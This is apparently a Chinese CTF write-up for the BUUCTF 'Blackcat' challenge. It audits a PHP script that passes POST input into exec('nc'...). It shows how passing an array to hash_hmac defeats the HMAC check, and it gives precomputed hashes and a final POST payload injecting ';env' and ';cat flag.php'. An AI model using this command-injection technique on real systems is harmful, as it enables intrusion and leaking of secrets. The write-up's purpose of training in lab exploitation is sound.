【BUUCTF】[羊城杯 2020]Blackcat1

打开题目页面如下

发现是一段音频,去看看源码,是一个压缩包,下载看看

得到这些文件,发现居然还给了个假的flag,源码在index. php中,下面进行代码审计

php 复制代码
<?php
// 检查 $_POST 数组中 'Black-Cat-Sheriff' 和 'One-ear' 这两个键对应的值是否为空
// empty() 函数用于检查一个变量是否为空,为空的情况包括变量未定义、值为 0、空字符串、空数组等
if(empty($_POST['Black-Cat-Sheriff']) || empty($_POST['One-ear'])){
    // 如果 'Black-Cat-Sheriff' 或 'One-ear' 为空,则输出错误信息并终止脚本执行
    die('谁!竟敢踩我一只耳的尾巴!');
}

// 使用 getenv() 函数获取名为 'clandestine' 的环境变量的值,并将其赋值给变量 $clandestine
// 环境变量通常用于存储系统或应用程序的配置信息
$clandestine = getenv("clandestine");

// 检查 $_POST 数组中是否存在 'White-cat-monitor' 这个键
if(isset($_POST['White-cat-monitor']))
    // 如果存在 'White-cat-monitor' 键,则使用 hash_hmac() 函数对其进行哈希处理
    // hash_hmac() 函数使用指定的哈希算法(这里是 'sha256')和密钥($clandestine)对数据进行哈希运算
    // 并将结果重新赋值给 $clandestine 变量
    $clandestine = hash_hmac('sha256', $_POST['White-cat-monitor'], $clandestine);

// 使用 hash_hmac() 函数对 $_POST['One-ear'] 的值进行哈希处理,使用 $clandestine 作为密钥
// 并将哈希结果赋值给变量 $hh
$hh = hash_hmac('sha256', $_POST['One-ear'], $clandestine);

// 比较 $hh(计算得到的哈希值)和 $_POST['Black-Cat-Sheriff'] 的值是否不相等
if($hh !== $_POST['Black-Cat-Sheriff']){
    // 如果不相等,则输出错误信息并终止脚本执行
    die('有意瞄准,无意击发,你的梦想就是你要瞄准的目标。相信自己,你就是那颗射中靶心的子弹。');
}

// 如果前面的条件都满足,说明验证通过
// 使用 exec() 函数执行系统命令,这里尝试执行 "nc" 命令并拼接上 $_POST['One-ear'] 的值
// 这意味着 $_POST['One-ear'] 的值会作为命令的一部分被执行,存在严重的安全风险
echo exec("nc".$_POST['One-ear']);
?>

着重看这几行

php 复制代码
// 使用 hash_hmac() 函数对 $_POST['One-ear'] 的值进行哈希处理,使用 $clandestine 作为密钥
// 并将哈希结果赋值给变量 $hh
$hh = hash_hmac('sha256', $_POST['One-ear'], $clandestine);

// 比较 $hh(计算得到的哈希值)和 $_POST['Black-Cat-Sheriff'] 的值是否不相等

恕我小白,不太明白,去看了大佬的博客,链接如下

[羊城杯 2020]Blackcat_[羊城杯 2020]blackcat 1-CSDN博客

大佬的思路如下

php 复制代码
<?php
$clandestine = hash_hmac('sha256', array(), 123);
$hh = hash_hmac('sha256', ';cat flag.php', $clandestine);
echo $hh;

利用上面的PHP代码求出value

可以用php在线运行,在线工具,在线编译IDE_w3cschool这个工具运行PHP

得到

04b13fc0dff07413856e54695eb6a763878cd1934c503784fe6e24b7e8cdb1b6

利用下面这exp求出Black-Cat-Sheriff的value

php 复制代码
<?php

var_dump(hash_hmac('sha256', ";env", NULL));

?>

得到

afd556602cf62addfe4132a81b2d62b9db1b6719f83e16cce13f51960f56791b

最后构造payload

White-cat-monitor[]=1&Black-Cat-Sheriff=afd556602cf62addfe4132a81b2d62b9db1b6719f83e16cce13f51960f56791b&One-ear=;env

最后利用hackbar插件,用post传参,故最终得到flag

相关推荐
1941s5 分钟前
OpenClaw 每日新玩法 | NanoClaw —— 轻量级、安全的 OpenClaw 替代方案
人工智能·安全·agent·openclaw
木下~learning8 分钟前
对于Linux中等待队列和工作队列的讲解和使用|RK3399
linux·c语言·网络·模块化编程·工作队列·等待队列
F1FJJ8 分钟前
Shield CLI 命令全解析:15 个命令覆盖所有远程访问场景
网络·数据库·网络协议·容器·开源软件
Agent产品评测局16 分钟前
企业 AI Agent 落地,如何保障数据安全与合规?——企业级智能体安全架构与合规路径深度盘点
人工智能·安全·ai·chatgpt·安全架构
攻城狮在此40 分钟前
华为汇聚交换机DHCP中继配置
网络·华为
婷婷_1721 小时前
【PCIe验证每日学习·阶段复盘01】Day1~Day7 纯理论深度复盘
网络·程序人生·芯片·每日学习·pcie 验证·ic 验证·pcie学习
大方子1 小时前
【PolarCTF2026年春季挑战赛】新年贺卡
网络安全·polarctf
CDN3601 小时前
CSDN 交流|360CDN 系列产品使用感受与避坑建议
运维·网络安全
Shepherd06192 小时前
【IT 实战】Apache 反向代理 UniFi Controller 的终极指北(解决白屏、502、400 错误)
运维·网络·apache·it·unifi
聊点儿技术2 小时前
游戏账号盗用频发,IP风险等级评估如何成为第一道防线?
安全·游戏·ip地址·风险评估·账号安全·ip风险等级评估